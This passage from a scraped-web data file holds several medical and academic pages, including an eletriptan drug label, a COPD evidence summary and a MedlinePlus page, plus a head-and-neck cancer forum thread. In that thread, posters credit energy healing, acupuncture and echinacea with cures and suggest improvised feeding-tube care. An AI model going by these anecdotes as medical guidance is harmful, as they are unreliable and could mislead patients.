Who would they be? How and in which subjects did they need to be educated? For the early clinical models I had been involved with, we had identified unique and talented individuals with a passion for this work. With the support and guidance of pioneers in the field such as Linda Bark, PhD, RN, MCC, NC-BC, we trained and supervised these new providers in", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/77175976-3fef-4ad5-b670-b17bd2742406", "content_hash": "057786048b8a943205281886a99a1d5c42fe0c33c48d2ee3fd0964a1b5c3ba4c", "created_at": "2026-03-28T05:10:42.803846841Z"} +{"id": "fcf210ea-743c-40dc-a508-8b467c6d86eb", "source": "brain", "text": "Maia Fraser | OpenReview\n\nMaia Fraser | OpenReview\nToggle navigation\nOpenReview.net\nLogin\nOpen Peer Review. Open Publishing. Open Access. Open Discussion. Open Recommendations. Open Directory. Open API. Open Source. Donate\nError\nThe server responded with the following message:\nThe profile ~Maia_Fraser1 does not exist or it's not public\nAbout OpenReview\nHosting a Venue\nAll Venues\nContact\nSponsors\nDonate\nFAQ\nTerms of Use / Privacy Policy\nNews\nAbout OpenReview\nHosting a Venue\nAll Venues\nSponsors\nNews\nFAQ\nContact\nDonate\nTerms of Use\nPrivacy Policy\nOpenReview is a long-term project to advance science through improved peer review with legal nonprofit status. We gratefully acknowledge the support of the OpenReview Sponsors. \u00a9 2026 OpenReview", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/fcf210ea-743c-40dc-a508-8b467c6d86eb", "content_hash": "fd3db8cc1c4fa6a66d83fcf9e6569a74469d11fdfe48a663086f8abcb94caec5", "created_at": "2026-03-28T05:10:42.721047789Z"} +{"id": "9d519d5d-1160-445a-b216-f04b46d2128b", "source": "brain", "text": "Examen de piel - PPD (brazo derecho) y Candida (izquierdo): MedlinePlus enciclopedia m\u00e9dica illustraci\u00f3n\n\nExamen de piel - PPD (brazo derecho) y Candida (izquierdo): MedlinePlus enciclopedia m\u00e9dica illustraci\u00f3n\nOmita y vaya al Contenido\nUn sitio oficial del Gobierno de Estados Unidos\nAs\u00ed es como usted puede verificarlo\nAs\u00ed es como usted puede verificarlo\nLos sitios web oficiales usan .gov\nUn sitio web .gov pertenece a una organizaci\u00f3n oficial del Gobierno de Estados Unidos.\nLos sitios web seguros .gov usan HTTPS\nUn candado ( Lock\nLocked padlock icon ) o https:// significa que usted se conect\u00f3 de forma segura a un sitio web .gov. Comparta informaci\u00f3n sensible s\u00f3lo en sitios web oficiales y seguros.\nBiblioteca Nacional de Medicina\nMen\u00fa\nTemas de salud\nMedicinas y suplementos\nGen\u00e9tica\nPruebas m\u00e9dicas\nEnciclopedia m\u00e9dica\nAcerca de MedlinePlus\nB\u00fasqueda\nBusque en MedlinePlus\nBUSCAR\nAcerca de MedlinePlus\nQu\u00e9 hay de nuevo\n\u00cdndice\nCont\u00e1ctenos\nTemas de salud\nMedicinas y suplementos\nGen\u00e9tica\nPruebas m\u00e9dicas\nEnciclopedia m\u00e9dica\nEnglish\nUsted est\u00e1 aqu\u00ed:\nP\u00e1gina Principal \u2192\nEnciclopedia m\u00e9dica \u2192\nExamen de piel - PPD (brazo derecho) y Candida (izquierdo)\nDirecci\u00f3n de esta p\u00e1gina: //medlineplus.gov/spanish/ency/esp_imagepages/2823.htm\nExamen de piel - PPD (brazo derecho) y Candida (izquierdo)\nPara usar las funciones de compartir de esta p\u00e1ginas, por favor, habilite JavaScript.\nRes\u00famenes\nEl brazo derecho de esta persona presenta una reacci\u00f3n positiva a la PPD (prueba de la piel para la prote\u00edna de la tuberculosis). El brazo izquierdo presenta una reacci\u00f3n positiva a la prote\u00edna de Candida. Se prueba el ant\u00edgeno de Candida para determinar si el sistema inmunitario de la persona est\u00e1 funcionando bien; un sistema inmunitario normal muestra una reacci\u00f3n positiva.\nUltima revisi\u00f3n 3/31/2024\nVersi\u00f3n en ingl\u00e9s revisada por: Deborah Pedersen, MD, MS, Allergy & Asthma Care, PC, Taunton, MA. Review provided by VeriMed Healthcare Network. Also reviewed by David C. Dugdale, MD, Medical Director, Brenda Conaway, Editorial Director, and the A.D.A.M. Editorial team.\nTraducci\u00f3n y localizaci\u00f3n realizada por: DrTango, Inc.\nConozca c\u00f3mo citar esta p\u00e1gina\nHealth Content Provider\n06/01/2028\nA.D.A.M., Inc. est\u00e1 acreditada por la URAC, tambi\u00e9n conocido como American Accreditation HealthCare Commission (www.urac.org). La acreditaci\u00f3n de la URAC es un comit\u00e9 auditor independiente para verificar que A.D.A.M. cumple los rigurosos est\u00e1ndares de calidad e integridad. A.D.A.M. es una de las primeras empresas en alcanzar esta tan importante distinci\u00f3n en servicios de salud en la red. Conozca m\u00e1s sobre la politica editorial, el proceso editorial, y la poliza de privacidad de A.D.A.M.\nLa informaci\u00f3n aqu\u00ed proporcionada no debe utilizarse durante ninguna emergencia m\u00e9dica ni para el diagn\u00f3stico o tratamiento de ninguna afecci\u00f3n m\u00e9dica. Se debe consultar a un profesional m\u00e9dico autorizado para el diagn\u00f3stico y tratamiento de cualquiera y todas las afecciones m\u00e9dicas. Los enlaces a otros sitios se proporcionan \u00fanicamente con fines informativos; no constituyen una recomendaci\u00f3n de dichos sitios. No se ofrece garant\u00eda alguna, expresa ni impl\u00edcita, en cuanto a la precisi\u00f3n, fiabilidad, puntualidad o exactitud de las traducciones realizadas por un servicio externo de la informaci\u00f3n aqu\u00ed proporcionada a cualquier otro idioma.\n\u00a9 1997- 2026 A.D.A.M., una unidad de negocio de Ebix, Inc. Queda estrictamente prohibida la duplicaci\u00f3n o distribuci\u00f3n de la informaci\u00f3n aqu\u00ed contenida.\nTodo el contenido de este sitio, incluyendo texto, im\u00e1genes, gr\u00e1ficos, audio, video, datos, metadatos y compilaciones, est\u00e1 protegido por derechos de autor y otras leyes de propiedad intelectual. Usted puede ver el contenido para uso personal y no comercial. Cualquier otro uso requiere el consentimiento previo por escrito de Ebix. Usted no puede copiar, reproducir, distribuir, transmitir, mostrar, publicar, realizar ingenier\u00eda inversa, adaptar, modificar, almacenar m\u00e1s all\u00e1 del almacenamiento en cach\u00e9 habitual del navegador, indexar, hacer miner\u00eda de datos, extraer o crear obras derivadas de este contenido. Usted no puede utilizar herramientas automatizadas para acceder o extraer contenido, incluyendo la creaci\u00f3n de incrustaciones, vectores, conjuntos de datos o \u00edndices para sistemas de recuperaci\u00f3n. Se proh\u00edbe el uso de cualquier contenido para entrenar, ajustar, calibrar, probar, evaluar o mejorar sistemas de inteligencia artificial (IA) de cualquier tipo sin el consentimiento expreso por escrito. Esto incluye modelos de lenguaje grandes, modelos de aprendizaje autom\u00e1tico, redes neuronales, sistemas generativos, sistemas de recuperaci\u00f3n aumentada y cualquier software que ingiera contenido para producir resultados. Cualquier uso no autorizado del contenido, incluyendo el uso relacionado con la IA, constituye una violaci\u00f3n de nuestros derechos y puede dar lugar a acciones legales, da\u00f1os y sanciones legales en la medida en que lo permita la ley. Ebix se reserva el derecho de hacer valer sus derechos mediante medidas legales, tecnol\u00f3gicas y contractuales.\nAcerca de MedlinePlus\nQu\u00e9 hay de nuevo\n\u00cdndice\nCont\u00e1ctenos\nRSS\nExenciones\nDerechos de autor\nPol\u00edtica de privacidad\nAccesibilidad\nPautas para enlaces\nVisores y reproductores\nHHS Divulgaci\u00f3n de Vulnerabilidad\nNational Library of Medicine 8600 Rockville Pike, Bethesda, MD 20894 U.S. Department of Health and Human Services National Institutes of Health", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/9d519d5d-1160-445a-b216-f04b46d2128b", "content_hash": "5302d161f2c2708825bc3a0cd81ef7550a45b05f19c1ae52da82ecd90e97cc7b", "created_at": "2026-03-28T05:10:42.630727603Z"} +{"id": "ede59729-123f-44a3-8c33-d8bd6ecf892f", "source": "brain", "text": "DailyMed - ELETRIPTAN HBR tablet, film coated\n\nDailyMed - ELETRIPTAN HBR tablet, film coated\nSkip to Main Content\nNational Library of Medicine\nNational Library of Medicine\nREPORT ADVERSE EVENTS |Recalls\nHome\nNews\nDailyMed Announcements\nGet RSS News & Updates\nAbout Dailymed\nCustomer Support\nSafety Reporting & Recalls\nReport Adverse Events\nFDA Saftey Recalls\nFDA Resources\nNLM SPL Resources\nDownload Data\n- All Drug Labels\n- All Indexing & REMS Files\n- All Mapping Files\nSPL Image Guidelines\nArticles & Presentations\nApplication Development Support\nResources\n- Web Services\n- Mapping Files\nHelp\nDailyMed\nAll Drugs\nHuman Drugs\nAnimal Drugs\nMore ways to search\nAdvanced Search\nBrowse Drug Classes\nLabeling Archives\nAll Drugs\nHuman Drugs\nAnimal Drugs\nHome\nNews\nDailyMed Announcements\nGet RSS News & Updates\nSearch\nAdvanced Search\nBrowse Drug Classes\nLabels Archives\nFDA Resources\nNLM SPL Resources\nDownload Data\nAll Drug Labels\nAll Index Files\nAll Mapping Files\nSPL Image Guidelines\nPresentations & Articles\nApplication Development Support\nResources\nWeb Services\nMapping Files\nHelp\nHome\nNews\nDailyMed Announcements\nGet RSS News & Updates\nFDA Resources\nNLM SPL Resources\nDownload Data\nAll Drug Labels\nAll Indexing & REMS Files\nAll Mapping Files\nSPL Image Guidelines\nPresentations & Articles\nApplication Development Support\nResources\nWeb Services\nMapping Files\nHelp\nAdvanced Search\nView More\nNews\nDailyMed Announcements\nGet RSS News & Updates\nSafety Reporting and Recalls\nReport Adverse Events\nFDA Saftey Recalls\nFDA Resources\nNLM SPL Resources\nDownload Data\n- All Drug Labels\n- All Indexing & REMS Files\n- All Mapping Files\nSPL Image Guidelines\nPresentations & Articles\nApplication Development Support\nResources\n- Web Services\n- Mapping Files\nHelp\nView More\nBrowse Drug Classes\nLabeling Archives\nAdvanced Search\nView More\nBrowse Drug Classes\nLabeling Archives\nLabel: ELETRIPTAN HBR tablet, film coated\nLabel RSS\nView Package Photos\nDrug Label Info\nSafety\nReport Adverse Events\nFDA Safety Recalls\nPresence in Breast Milk\nRelated Resources\nMedline Plus\nClinical Trials\nMore Info For This Drug\nGet Label RSS Feed\nView NDC Code(s)NEW!\nNDC Code(s): 72189-439-06\nPackager: Direct_Rx\nThis is a repackaged label.\nSource NDC Code(s): 27241-040\nCategory: HUMAN PRESCRIPTION DRUG LABEL\nDrug Label Information\nUpdated January 22, 2025\nIf you are a healthcare professional or from the pharmaceutical industry please visit this version.\nDownload DRUG LABEL INFO: PDF XML\nOfficial Label (Printer Friendly)\nView All SectionsClose All Sections\nINDICATIONS & USAGE\nEletriptan hydrobromide tablets are indicated for the acute treatment of migraine with or without aura in adults.\nLimitations of Use:\nUse only if a clear diagnosis of migraine has been established. If a patient has no response to the first migraine attack treated with eletriptan hydrobromide tablets, reconsider the diagnosis of migraine before eletriptan hydrobromide tablets are administered to treat any subsequent attacks.\nEletriptan hydrobromide tablets are not intended for the prevention of migraine attacks.\nSafety and effectiveness of eletriptan hydrobromide tablets have not been established for cluster headache.\nDOSAGE & ADMINISTRATION\nThe maximum recommended single dose is 40 mg.\nIn controlled clinical trials, single doses of 20 mg and 40 mg were effective for the acute treatment of migraine in adults. A greater proportion of patients had a response following a 40 mg dose than following a 20 mg dose [see Clinical Studies (14)].\nIf the migraine has not resolved by 2 hours after taking eletriptan hydrobromide tablets, or returns after transient improvement, a second dose may be administered at least 2 hours after the first dose. The maximum daily dose should not exceed 80 mg.\nThe safety of treating an average of more than 3 migraine attacks in a 30-day period has not been established.\nDOSAGE FORMS & STRENGTHS\n20 mg Tablets: Orange, round, biconvex, film-coated, debossed with \u201cE1\u201d on one side and plain on another side.\n40 mg Tablets: Orange, round, biconvex, film-coated, debossed with \u201cE2\u201d on one side and plain on another side.\nCONTRAINDICATIONS\nEletriptan hydrobromide tablets are contraindicated in patients with:\nIschemic coronary artery disease (CAD) (angina pectoris, history of myocardial infarction, or documented silent ischemia) or coronary artery vasospasm, including Prinzmetal\u2019s angina [see Warnings and Precautions (5.1)].\nWolff-Parkinson-White syndrome or arrhythmias associated with other cardiac accessory conduction pathway disorders [see Warnings and Precautions (5.2)].\nHistory of stroke, transient ischemic attack (TIA), or history or current evidence of hemiplegic or basilar migraine because these patients are at a higher risk of stroke [see Warnings and Precautions (5.4)].\nPeripheral vascular disease [see Warnings and Precautions (5.5)].\nIschemic bowel disease [see Warnings and Precautions (5.5)].\nUncontrolled hypertension [see Warnings and Precautions (5.8)].\nRecent use (i.e., within 24 hours) of another 5-hydroxytryptamine1 (5-HT1) agonist, ergotamine-containing medication, or ergot-type medication such as dihydroergotamine (DHE) or methysergide [see Drug Interactions (7.1)].\nHypersensitivity to eletriptan hydrobromide tablets (angioedema and anaphylaxis seen) [see Warnings and Precautions (5.9)].\nRecent use (i.e., within at least 72 hours) of the following potent CYP3A4 inhibitors: ketoconazole, itraconazole, nefazodone, troleandomycin, clarithromycin, ritonavir, or nelfinavir [see Drug Interactions (7.2) and Clinical Pharmacology (12.3)].\nWARNINGS AND PRECAUTIONS\nEletriptan hydrobromide tablets should only be used where a clear diagnosis of migraine has been established.\n5.1 Myocardial Ischemia, Myocardial Infarction, and Prinzmetal's Angina\nEletriptan hydrobromide tablets are contraindicated in patients with ischemic or vasospastic CAD. There have been rare reports of serious cardiac adverse reactions, including acute myocardial infarction, occurring within a few hours following administration of eletriptan hydrobromide tablets. Some of these reactions occurred in patients without known CAD. Eletriptan hydrobromide tablets may cause coronary artery vasospasm (Prinzmetal\u2019s angina), even in patients without a history of CAD.\nPerform a cardiovascular evaluation in triptan-naive patients who have multiple cardiovascular risk factors (e.g., increased age, diabetes, hypertension, smoking, obesity, strong family history of CAD) prior to receiving eletriptan hydrobromide tablets. Do not use eletriptan hydrobromide tablets if there is evidence of CAD or coronary artery vasospasm [see Contraindications (4)]. For patients with multiple cardiovascular risk factors who have a negative cardiovascular evaluation, consider administering the first eletriptan hydrobromide tablets dose in a medically-supervised setting and performing an electrocardiogram (ECG) immediately following administration of eletriptan hydrobromide tablets. For such patients, consider periodic cardiovascular evaluation in intermittent long-term users of eletriptan hydrobromide tablets.\n5.2 Arrhythmias\nLife-threatening disturbances of cardiac rhythm including ventricular tachycardia and ventricular fibrillation leading to death have been reported within a few hours following the administration of 5-HT1 agonists. Discontinue eletriptan hydrobromide tablets if these disturbances occur. Eletriptan hydrobromide tablets are contraindicated in patients with Wolff-Parkinson-White syndrome or arrhythmias associated with other cardiac accessory conduction pathway disorders [see Contraindications (4)].\n5.3 Chest, Throat, Neck and/or Jaw Pain/Tightness/Pressure\nSensations of tightness, pain, and pressure in the chest, throat, neck, and jaw commonly occur after treatment with eletriptan hydrobromide tablets and are usually non-cardiac in origin. However, perform a cardiac evaluation if these patients are at high cardiac risk. Eletriptan hydrobromide tablets are contraindicated in patients with CAD or Prinzmetal\u2019s variant angina [see Contr", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/ede59729-123f-44a3-8c33-d8bd6ecf892f", "content_hash": "d67edd3902f726f287486c56cc9852f469f1ad0d4901389b35ae41e01dca1e80", "created_at": "2026-03-28T05:10:42.454551100Z"} +{"id": "bf285f9c-eb85-424f-add8-008da343efc2", "source": "brain", "text": "Body temp questions..need answers please \u2014 Cancer Survivors Network\n\nBody temp questions..need answers please \u2014 Cancer Survivors Network\nThe Cancer Survivors Network (CSN) is a peer support community for cancer patients, survivors, caregivers, families, and friends! CSN is a safe place to connect with others who share your interests and experiences.\nHome\u203a Head and Neck Cancer\nBody temp questions..need answers please\nlady4darknight CSN Member Posts: 90\nJuly 2010 edited March 2014 in Head and Neck Cancer #1\nHi all...haven't been on for a bit since I went under my treatment and came home but now need some answer please. I had 20 Avian radiation treatments on my tumor and finished June 23rd. Go back on Aug.2nd to see what further treatment. Had a PEG tube placed and a Power Port. But here is my problem....I can't get my body temp to regulate. I am either freezing or sweating with no happy medium. Guys. I am in so. Missouri and it is hot and humid and I either have goosebumps and am wrapped tight or am sweating then get cold from the sweats. Has anyone else had this and how to you fix it? My other question is I seem to have no or very little saliva and this makes it difficult to eat but don't want to use my PEG if I don't have to. What is the best thing to help that and if I don't use my PEG how often do I need to flush it? Thanks for all help.\nDebbie\n0 Like Care\nComments\nKent Cass CSN Member Posts: 1,898 Member\nJuly 2010 #2\nGood to hear from you\nHad wondered how things went for you in Tulsa.\nThyroid has a big influence on body temp. I'm only aware of feeling cold due to thyroid function, but hot may also be part of it.\nNot uncommom to wash things down, due to lack of saliva, Debbie. Saliva glands do take a major hit w/treatment. Typical to adjust our food intake to fit the circumstances- trial and error. Ensure and Boost are good liquids- you need plenty of good calories in you/day. Fruit and vegetable produce is good, too.\nAs for the PEG flushes- did you get any big syringes? If so, wouldn't hurt to squirt 1/2-tube of water down the PEG every couple days. Am curious about your getting the Port- have they used it, yet? Typical for the Ports to be installed for treatment with pump(s), and the feeding tube for times when regular eating becomes too difficult. No surgery, other than the PEG and Port placements?\nWas concerned about you, Debbie, as I know several others were, equally. Even if by PM, I would like an update on your status- important things the Drs. have told you about your battle with C, the specifics on your treatment, and how you're holding-up. Hope to get a response from you, Debbie.\nBelieve\nkcass\n0 Like Care\nSkiffin16 CSN Member Posts: 8,305 Member\nJuly 2010 #3\nTemperature\nAre you having Amifostine injections (eythol)... I had bad temperature swings when I was having those. When I stopped, no more problems....\nThyroid function is another variable as for fatigue, and body temperature. Have they tested you during blood labs (TSH testing)....\nJG\n0 Like Care\nScambuster CSN Member Posts: 970\nJuly 2010 #4\nHot n' Cold\nHi Debbie,\nNice to hear you are finished treatments. I suffered the Hot n Cold thing for the last 2+ weeks of treatment and a week or two after. I then only really felt the cold and this went on for some time- about 2-3 months. As you are in summer over there, that shouldn't be too bad for you. I think many of us go through a similar trend.\nI found the cold to be a problem (this was in mid spring so temps were a little cool) and since the doctors couldn't help I knew a lady who did 'energy healing' (or touch healing/natural healling), and I went to see her. Many may think it's rubbish but after 2 sessions with her, the condition improved 90%. I now don't feel the heat as much as most and now only very slightly more sensitive to the cold. Not really sure how it all works, don't care but it worked for me.\nThe consensus is this is related to the thyroid and that the Radiation causes some damage to the thyroid making it hard for you to regulate your body temperature.\nOn the dry mouth, this is a tough one and depending on how much and where the rads hit your mouth, you may or may not get back some or most of your saliva function. We have three mains pairs of salivary glands which produce the majority, but luckily there are a load of tiny ones spread throughout your mouth. If the major S 'Glands took a direct hit, the damage and effect may be permanent. I had the same dilemma and as the doctors just shook their heads - I went elsewhere. I have had about 8 sessions of acupuncture and have regained 10-15% of my saliva. While not a perfect result, it certainly does make things easier. I also take echinacea every day which is supposed to help too. I still need liquid (Water or soup) when I eat, and I 'lube up' my salads with olive oil, but if I keep my mouth closed, I can manage to keep my teeth wet.\nHaving enough saliva to moisten your mouth is critic for your teeth. I would recommend you try GC Mousse or a similar product. It is applied to the teeth in the evening before bed to protect them. You also need to brush after every meal and floss at least in the evening. Rigorous dental care is a must now. I use the Biotene mouthwash and toothpaste or a medicated or natural toothpaste (Avoid the Colgates etc).\nThings should settle soon Debbie. You body had taken a beating so give it time to heal and the food it needs to do that.\nRegds\nScambuster\n0 Like Care\nlady4darknight CSN Member Posts: 90\nJuly 2010 #5\nKent Cass said:\nGood to hear from you\nHad wondered how things went for you in Tulsa.\nThyroid has a big influence on body temp. I'm only aware of feeling cold due to thyroid function, but hot may also be part of it.\nNot uncommom to wash things down, due to lack of saliva, Debbie. Saliva glands do take a major hit w/treatment. Typical to adjust our food intake to fit the circumstances- trial and error. Ensure and Boost are good liquids- you need plenty of good calories in you/day. Fruit and vegetable produce is good, too.\nAs for the PEG flushes- did you get any big syringes? If so, wouldn't hurt to squirt 1/2-tube of water down the PEG every couple days. Am curious about your getting the Port- have they used it, yet? Typical for the Ports to be installed for treatment with pump(s), and the feeding tube for times when regular eating becomes too difficult. No surgery, other than the PEG and Port placements?\nWas concerned about you, Debbie, as I know several others were, equally. Even if by PM, I would like an update on your status- important things the Drs. have told you about your battle with C, the specifics on your treatment, and how you're holding-up. Hope to get a response from you, Debbie.\nBelieve\nkcass\nHello\nHi, Sorry I didn't update everyone but my treatments and everything happened so fast and then the surgeries to place the PEG and Port which I didn't expect just threw me for a loop. I have had a total of 5 surgeries to reduce the size of the tumor and had 20 rad treatments. I had to have that horrible mask made for my face and used for radiation treatments and I am claustrophobic really bad so I had a difficult time with my treatments. Since my treatments have stopped and I have been home, I have had a time of remembering things that happened. I looked at pictures I took of when my family visited me and I have no memory of any of that time. Is that normal? Seems like I have 3 weeks I can't remember. Total blackout.\nThanks for the info on my PEG. I will make sure to flush it daily. I ave some 60 cc syringes that I got so I will flush with 30 cc twice a day.\nAs for my Port, it was used for all my blood tests but other than that not at all. I have found no one here at home will not access it so I will have to make sure to get it flushed at the local hospital monthly.\nI have had damage to my larynx and my epigilitos because of the size of my tumor. Both of them are laying flat. The drs. say my larynx will still interfere with my breathing so I may not get my trache removed. But I have noticed since my last sur", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/bf285f9c-eb85-424f-add8-008da343efc2", "content_hash": "badc6116d84974b543dfd8517242681eda6266fdd93fdbb299044a0b860562a1", "created_at": "2026-03-28T05:10:42.354577265Z"} +{"id": "71ab2b53-5ce3-47ca-832e-ab6c86e2ede0", "source": "brain", "text": "Chronic obstructive pulmonary disease (COPD) - Evidence | BMJ Best Practice US\n\nChronic obstructive pulmonary disease (COPD) - Evidence | BMJ Best Practice US\nSkip to main contentSkip to search\nEnglish (US)EnglishPortugu\u00eas\nLog in\nPersonal account\nAccess through your institution(Open Athens)\nSubscribe\nAccess through your institution\nLog in\nEnglish (US)EnglishPortugu\u00eas\nHome\nSearch\n\ue8b6Search\nHome\nAbout us\nOverviewWhat is BMJ Best Practice?Our history\nKey featuresClinical tools Local guidanceEarn CME/CPD pointsAccess anywhereOur appIntegration\nOur Evidence approachTrusted contentUpdating process\nWho we help\nBest Practice for...CliniciansHospitalsMedical librariansMedical schoolsMedical studentsNursesPharmacistsPrimary careParamedicsTelehealth\nHow we help\nImpact and effectivenessEvidence of effectiveness Global impactCustomer stories\nBrowse clinical content\nRecent updates\nSpecialties\nTry a free topic\nPatient information\nVideos\nCalculators\nWhat\u2019s new\nClinical updates\nNews\nPodcast\nAccess\nLog in via...Personal subscription or user profileAccess through your institution\nAccess code\nSubscribe\nFree trial\nHow do I get access?\nDownload the app\nHelp\nFAQs\nHow do I get access?\nContact us\nChronic obstructive pulmonary disease (COPD)\nView PDF\n\ue5d4 Menu\ue5d4 Close\nOverview \ue313\ue316\nTheory \ue313\ue316\nDiagnosis \ue313\ue316\nManagement \ue313\ue316\nFollow up \ue313\ue316\nResources \ue313\ue316\nOverview\ue313\ue316\nSummary\nTheory\ue313\ue316\nEpidemiology\nEtiology\nCase history\nDiagnosis\ue313\ue316\nApproach\nHistory and exam\nTests\nDifferentials\nCriteria\nScreening\nManagement\ue313\ue316\nApproach\nTreatment algorithm\nEmerging\nPrevention\nPatient discussions\nFollow up\ue313\ue316\nMonitoring\nComplications\nPrognosis\nResources\ue313\ue316\nGuidelines\nImages and videos\nReferences\nPatient information\nCalculators\nEvidence\nThis topic is available for free\nEvidence\nThis page contains a snapshot of featured content which highlights evidence addressing key clinical questions including areas of uncertainty. Please see the main topic reference list for details of all sources underpinning this topic.\nBMJ Best Practice evidence tables\nEvidence tables provide easily navigated layers of evidence in the context of specific clinical questions, using GRADE and a BMJ Best Practice Effectiveness rating. Follow the links at the bottom of the table, which go to the related evidence score in the main topic text, providing additional context for the clinical question. Find out more about our evidence tables.\nVIEW ALL\ue313\n\ue5cf\nWhat are the effects of integrated disease management (IDM) interventions for people with chronic obstructive pulmonary disease (COPD)?\nThis table is a summary of the analysis reported in a Cochrane Clinical Answer that focuses on the above important clinical question.\nView the full source Cochrane Clinical Answer\nEvidence A?\nConfidence in the evidence is high or moderate to high where GRADE has been performed and the intervention is more effective/beneficial than the comparison for key outcomes.\nPopulation: Adults with COPD\nIntervention: IDM \u1d43\nComparison: Usual care (regular follow-up visits with healthcare providers)\nOutcome\nEffectiveness (BMJ rating)?\nConfidence in evidence (GRADE)?\nQuality of life (>6 to 15 months): St. George\u2019s Respiratory Questionnaire (SGRQ) \u1d47\nFavors intervention\nModerate\nFunctional exercise capacity (>6 to 15 months)\nFavors intervention\nModerate\nRespiratory\u2010related hospital admissions (12 months)\nFavors intervention\nHigh\nAll hospital admissions\nFavors intervention\nModerate\nHospital days per patient (all causes)\nFavors intervention\nModerate\nEmergency Department visits\nFavors intervention\nModerate\nNumber of patients experiencing \u2265 1 exacerbation\nNo statistically significant difference\nGRADE assessment not performed for this outcome\nMortality\nNo statistically significant difference\nGRADE assessment not performed for this outcome\nNeed for at least one course of oral steroids\nNo statistically significant difference\nGRADE assessment not performed for this outcome\nNeed for at least one course of antibiotics\nNo statistically significant difference\nGRADE assessment not performed for this outcome\nNote\nThe Cochrane review which underpins this Cochrane Clinical Answer (CCA) notes that the effects of IDM are better in the short and medium term, and that the effect size was different between included studies and interventions. IDM should be carefully designed and evaluated, consisting of different components which are linked to the personal goals of the patient.\n\u1d43 Including organizational, professional, patient-directed, and financial interventions in primary, secondary, and tertiary healthcare settings. See CCA and the underlying Cochrane review for more information on specific interventions and the dominant components of the IDM programs.\n\u1d47 Although statistically significant, this result did not quite reach the minimum clinically important difference. The CCA also reports a subgroup analysis for quality of life measured by the Chronic Respiratory Questionnaire. However, this was only reported in two studies and the analysis was underpowered.\nThis evidence table is related to the following section/s:\nManagement Approach\n\ue5cf\nHow does umeclidinium compare with placebo for people with chronic obstructive pulmonary disease (COPD)?\nThis table is a summary of the analysis reported in a Cochrane Clinical Answer that focuses on the above important clinical question.\nView the full source Cochrane Clinical Answer\nEvidence A?\nConfidence in the evidence is high or moderate to high where GRADE has been performed and the intervention is more effective/beneficial than the comparison for key outcomes.\nPopulation: Adults with moderate-to-severe COPD\nIntervention: Umeclidinium (once daily via a dry powder inhaler for 12-52 weeks)\nComparison: Placebo\nOutcome\nEffectiveness (BMJ rating)?\nConfidence in evidence (GRADE)?\nNumber of participants with exacerbations requiring corticosteroids, antibiotics, or both at 52 weeks\nFavors intervention\nHigh\nQuality of life at 24-52 weeks (measured by the St George's Respiratory Questionnaire [SGRQ])\nFavors intervention\nModerate\nNumber of participants with hospital admissions due to COPD exacerbation at 52 weeks (measured by the Transitional Dyspnea Index [TDI])\nNo statistically significant difference\nLow\nImprovement in symptoms at 24 weeks\nFavors intervention\nHigh\nLung function at 4-52 weeks\nFavors intervention\nHigh\nNonfatal serious adverse events\nNo statistically significant difference\nModerate\nAdverse events\nNo statistically significant difference\nModerate\nThis evidence table is related to the following section/s:\nTreatment algorithm\nManagement Approach\nCochrane Clinical Answers\nCochrane Clinical Answers (CCAs) provide a readable, digestible, clinically focused entry point to rigorous research from Cochrane systematic reviews. They are designed to be actionable and to inform decision making at the point of care and have been added to relevant sections of the main Best Practice text.\nWhat are the effects of integrated disease management (IDM) interventions for people with chronic obstructive pulmonary disease (COPD)?\nShow me the answer\nHow does tiotropium compare with ipratropium bromide for people with chronic obstructive pulmonary disease (COPD)?\nShow me the answer\nHow does umeclidinium bromide compare with placebo for people with chronic obstructive pulmonary disease (COPD)?\nShow me the answer\nHow does a combined inhaler with once\u2010daily long\u2010acting beta2\u2010agonist (LABA) plus a long\u2010acting muscarinic antagonist (LAMA) compare with placebo for adults with chronic obstructive pulmonary disease (COPD)?\nShow me the answer\nHow does long\u2010acting muscarinic antagonist (LAMA) plus long\u2010acting beta\u2010agonist (LABA) compare with LABA plus inhaled corticosteroid (ICS) for people with stable chronic obstructive pulmonary disease (COPD)?\nShow me the answer\nWhat are the benefits and harms of inhaled corticosteroids (ICS) in people with stable chronic obstructive pulmonary disease (COPD)?\nShow me the answer\nWhat are the effects of long\u2010acting inhaled therapies for adults with chronic obstructive pulmonary disease (COPD)?\nShow me the answer\nHow do phosphodiesterase\u20104 inhibitors", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/71ab2b53-5ce3-47ca-832e-ab6c86e2ede0", "content_hash": "166d5dc3dcf4387305b1b06514360651648ed8b43486aed3fd559aad78491c70", "created_at": "2026-03-28T05:10:42.248584247Z"} +{"id": "5717365f-5cd5-4d34-baa0-61489ac0fe9b", "source": "brain", "text": "Valerie Novak - ACL Anthology\n\nValerie Novak - ACL Anthology\nACL Anthology\nNews(current)\nFAQ(current)\nCorrections(current)\nSubmissions(current)\nGitHub\nValerie Novak\n2022\npdf bib abs\nRU-ADEPT: Russian Anonymized Dataset with Eight Personality Traits\nC. Anton Rytting | Valerie Novak | James R. Hull | Victor M. Frank | Paul Rodrigues | Jarrett G. W. Lee | Laurel Miller-Sims\nProceedings of the Thirteenth Language Resources and Evaluation Conference\nSocial media has provided a platform for many individuals to easily express themselves naturally and publicly, and researchers have had the opportunity to utilize large quantities of this data to improve author trait analysis techniques and to improve author trait profiling systems. The majority of the work in this area, however, has been narrowly spent on English and other Western European languages, and generally focuses on a single social network at a time, despite the large quantity of data now available across languages and differences that have been found across platforms. This paper introduces RU-ADEPT, a dataset of Russian authors\u2019 personality trait scores\u2013Big Five and Dark Triad, demographic information (e.g. age, gender), with associated corpus of the authors\u2019 cross-contributions to (up to) four different social media platforms\u2013VKontakte (VK), LiveJournal, Blogger, and Moi Mir. We believe this to be the first publicly-available dataset associating demographic and personality trait data with Russian-language social media content, the first paper to describe the collection of Dark Triad scores with texts across multiple Russian-language social media platforms, and to a limited extent, the first publicly-available dataset of personality traits to author content across several different social media sites.\n2021\npdf bib abs\nPersonality Trait Identification Using the Russian Feature Extraction Toolkit\nJames R. Hull | Valerie Novak | C. Anton Rytting | Paul Rodrigues | Victor M. Frank | Matthew Swahn\nProceedings of the International Conference on Recent Advances in Natural Language Processing (RANLP 2021)\nFeature engineering is an important step in classical NLP pipelines, but machine learning engineers may not be aware of the signals to look for when processing foreign language text. The Russian Feature Extraction Toolkit (RFET) is a collection of feature extraction 